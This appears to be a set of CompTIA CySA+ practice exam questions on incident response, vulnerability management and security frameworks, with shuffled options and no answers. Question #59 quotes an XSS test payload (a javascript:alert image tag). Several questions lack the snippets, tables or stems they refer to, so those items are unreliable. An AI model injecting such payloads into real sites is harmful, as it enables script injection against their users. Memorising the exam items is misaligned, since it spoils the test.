An analyst wants to ensure that users only leverage web-based software that has been pre-approved by the organization. Which of the following should be deployed?

B. Allowlisting
C. Graylisting
A. Blocklisting
D. Webhooks

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #169

An analyst reviews a recent government alert on new zero-day threats and finds the following CVE metrics for the most critical of the vulnerabilities:

CVSS: 3.1/AV:N/AC: L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:U/RL:W/RC:R

Which of the following represents the exploit code maturity of this critical vulnerability?

C. RC:R
B. S:C
D. AV:N
A. E:U
E. AC:L

Question #87

An incident response team is working with law enforcement to investigate an active web server compromise. The decision has been made to keep the server running and to implement compensating controls for a period of time. The web service must be accessible from the internet via the reverse proxy and must connect to a database server. Which of the following compensating controls will help contain the adversary while meeting the other requirements? (Choose two).

D. Use microsegmentation to restrict connectivity to/from the web and database servers.
F. Move the database from the database server to the web server.
C. Stop the httpd service on the web server so that the adversary can not use web exploits.
E. Comment out the HTTP account in the /etc/passwd file of the web server.
A. Drop the tables on the database server to prevent data exfiltration.
B. Deploy EDR on the web server and the database server to reduce the adversary’s capabilities.

Question #195

Which of the following best describes the goal of a disaster recovery exercise as preparation for possible incidents?

D. To perform tests against implemented security controls
A. To provide metrics and test continuity controls
C. To provide recommendations for handling vulnerabilities
B. To verify the roles of the incident response team

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #300

Which of the following is a nation-state actor least likely to be concerned with?

D. Forensic analysis for legal action of the actions taken
C. Examination of its actions and objectives.
A. Detection by MITRE ATT&CK framework.
B. Detection or prevention of reconnaissance activities.

Question #10

The Chief Information Security Officer wants to eliminate and reduce shadow IT in the enterprise. Several high-risk cloud applications are used that increase the risk to the organization. Which of the following solutions will assist in reducing the risk?

D. Enable SSO to the cloud applications
A. Deploy a CASB and enable policy enforcement
B. Configure MFA with strict access
C. Deploy an API gateway

Question #66

A security analyst obtained the following table of results from a recent vulnerability assessment that was conducted against a single web server in the environment:

Which of the following should be completed first to remediate the findings?

C. Purchase an appropriate certificate from a trusted root CA
A. Ask the web development team to update the page contents
B. Add the IP address allow listing for control panel access
D. Perform proper sanitization on all fields

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #2

An incident response team found IoCs in a critical server. The team needs to isolate and collect technical evidence for further investigation. Which of the following pieces of data should be collected first in order to preserve
sensitive information before isolating the server?

D. Routing table
C. Malicious tiles
A. Hard disk
E. Static IP address
B. Primary boot partition

Question #145

An organization has deployed a cloud-based storage system for shared data that is in phase two of the data life cycle. Which of the following controls should the security team ensure are addressed? (Choose two.)

F. Access controls
D. Encryption
C. Data loss prevention
B. Data destruction
A. Data classification
E. Backups

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #179

Which of the following would likely be used to update a dashboard that integrates…..

B. Extensible Markup Language
A. Webhooks
C. Threat feed combination
D. JavaScript Object Notation

Question #101

An analyst is examining events in multiple systems but is having difficulty correlating data points. Which of the following is most likely the issue with the system?

B. Network segmentation
A. Access rights
C. Time synchronization
D. Invalid playbook

Question #138

A security analyst at a company is reviewing an alert from the file integrity monitoring indicating a mismatch in the login. html file hash. After comparing the code with the previous version of the page source code, the analyst found the following code snippet added:

Which of the following best describes the activity the analyst has observed?

B. Exfiltration
C. Unauthorized changes
A. Obfuscated links
D. Beaconing

Question #191

A small company does not have enough staff to effectively segregate duties to prevent error and fraud in payroll management. The Chief Information Security Officer (CISO) decides to maintain and review logs and audit trails to mitigate risk. Which of the following did the CISO implement?

C. Operational controls
B. Compensating controls
D. Administrative controls
A. Corrective controls

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #59

A security analyst found the following vulnerability on the company’s website:

<INPUT TYPE=“IMAGE” SRC=“javascript:alert(‘test’);”>

Which of the following should be implemented to prevent this type of attack in the future?

D. Prepared statements
C. Code obfuscation
B. Output encoding
A. Input sanitization

Question #27

A technician identifies a vulnerability on a server and applies a software patch. Which of the following should be the next step in the remediation process?

B. Implementation
A. Testing
D. Rollback
C. Validation

Question #202

A security analyst has received an incident case regarding malware spreading out of control on a customer's network. The analyst is unsure how to respond. The configured EDR has automatically obtained a sample of the malware and its signature. Which of the following should the analyst perform next to determine the type of malware based on its telemetry?

D. Log in to the affected systems and run netstat.
A. Cross-reference the signature with open-source threat intelligence.
B. Configure the EDR to perform a full scan.
C. Transfer the malware to a sandbox environment.

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #156

Which of the following statements best describes the MITRE ATT&CK framework?

E. It breaks down intrusions into a clearly defined sequence of phases.
C. It helps identify and stop enemy activity by highlighting the areas where an attacker functions.
A. It provides a comprehensive method to test the security of applications.
B. It provides threat intelligence sharing and development of action and mitigation strategies.
D. It tracks and understands threats and is an open-source project that evolves.

Question #149

A. OSSTMM
B. Diamond Model of Intrusion Analysis
D. MITRE ATT&CK
C. OWASP

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #1

A security analyst received a malicious binary file to analyze. Which of the following is the best technique to perform the analysis?

B. Static analysis
D. Fuzzing
A. Code analysis
C. Reverse engineering

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #240

Following an attack, an analyst needs to provide a summary of the event to the Chief Information Security Officer. The summary needs to include the who-what-when information and evaluate the effectiveness of the plans in place. Which of the following incident management life cycle processes does this describe?

B. Lessons learned
A. Business continuity plan
D. Incident response plan
C. Forensic analysis

Question #124

The email system administrator for an organization configured DKIM signing for all email legitimately sent by the organization. Which of the following would most likely indicate an email is malicious if the company's domain name is used as both the sender and the recipient?

B. The sending IP address is the hosting provider
A. The message fails a DMARC check
D. The sender and reply address are different
C. The signature does not meet corporate standards

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #62

An organization was compromised, and the usernames and passwords of all em-ployees were leaked online. Which of the following best describes the remedia-tion that could reduce the impact of this situation?

A. Multifactor authentication
B. Password changes
C. System hardening
D. Password encryption

Question #118

A recent vulnerability scan resulted in an abnormally large number of critical and high findings that require patching. The SLA requires that the findings be remediated within a specific amount of time. Which of the following is the best approach to ensure all vulnerabilities are patched in accordance with the SLA?

B. Create a compensating control item until the system can be fully patched
A. Integrate an IT service delivery ticketing system to track remediation and closure
D. Request an exception and manually patch each system
C. Accept the risk and decommission current assets as end of life

Question #112

A security analyst is validating a particular finding that was reported in a web application vulnerability scan to make sure it is not a false positive. The security analyst uses the snippet below:

Which of the following vulnerability types is the security analyst validating?

A. Directory traversal
B. XSS
C. XXE
D. SSRF

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #66

Which of the following is a reason why proper handling and reporting of existing evidence are important for the investigation and reporting phases of an incident response?

D. To prevent the possible loss of a data source for further root cause analysis
B. To present a lessons-learned analysis for the incident response team
C. To ensure the evidence can be used in a postmortem analysis
A. TO ensure the report is legally acceptable in case it needs to be presented in court

Question #201

Which of the following best describes the threat concept in which an organization works to ensure that all network users only open attachments from known sources?

D. Nation-state threat
A. Hacktivist threat
C. Unintentional insider threat
B. Advanced persistent threat

Question #5

The Chief Executive Officer of an organization recently heard that exploitation of new attacks in the industry was happening approximately 45 days after a patch was released. Which of the following would best protect this organization?

C. A mean time to respond of 15 days
A. A mean time to remediate of 30 days
D. Third-party application testing
B. A mean time to detect of 45 days

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #199

Which of the following would an organization use to develop a business continuity plan?

B. A repository for all the software used by the organization
D. A configuration management database in print at an off-site location
A. A diagram of all systems and interdependent applications
C. A prioritized list of critical systems defined by executive leadership

Flashcard Info

CompTIA CySA+ CS03